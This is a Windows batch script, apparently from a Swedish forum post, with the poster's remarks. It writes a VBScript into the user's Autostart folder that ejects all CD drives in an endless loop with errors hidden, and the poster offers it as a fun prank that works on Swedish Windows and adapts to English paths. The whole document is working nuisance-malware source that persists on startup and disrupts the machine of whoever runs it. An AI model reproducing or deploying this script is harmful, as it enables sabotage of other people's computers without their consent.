Set VAR1="c:\Documents and Settings\%username%\Start-meny\Program\Autostart"
If not exist %VAR1% goto ERROR
Echo Set Wmp = CreateObject("WMPlayer.OCX.7") > %VAR1%\fil.vbs
Echo set drives = wmp.cdromCollection >> %VAR1%\fil.vbs
Echo sub open_saysame() >> %VAR1%\fil.vbs
Echo on error resume next >> %VAR1%\fil.vbs
Echo do >> %VAR1%\fil.vbs
Echo if drives.count ^>= 1 then >> %VAR1%\fil.vbs
Echo for i = 0 to drives.count - 1 >> %VAR1%\fil.vbs
Echo drives.item(i).eject() >> %VAR1%\fil.vbs
Echo next >> %VAR1%\fil.vbs
Echo end if >> %VAR1%\fil.vbs
Echo loop >> %VAR1%\fil.vbs
Echo end sub >> %VAR1%\fil.vbs
Echo open_saysame() >> %VAR1%\fil.vbs
goto END
:ERROR
Echo S”kv„gen du angivit existerar inte!
:END
Pause
väldigt kul fick hjälp med att skapa den... gör så att en vbs skapas i Autostart som öppnar och stänger cd läsaren hela tiden
men som sagt all cred går till R.R för all hjälp tackar en än gång.
PS: detta är för svenska windows kör ni med engelska så får ni byta till
Start Menu\Programs istället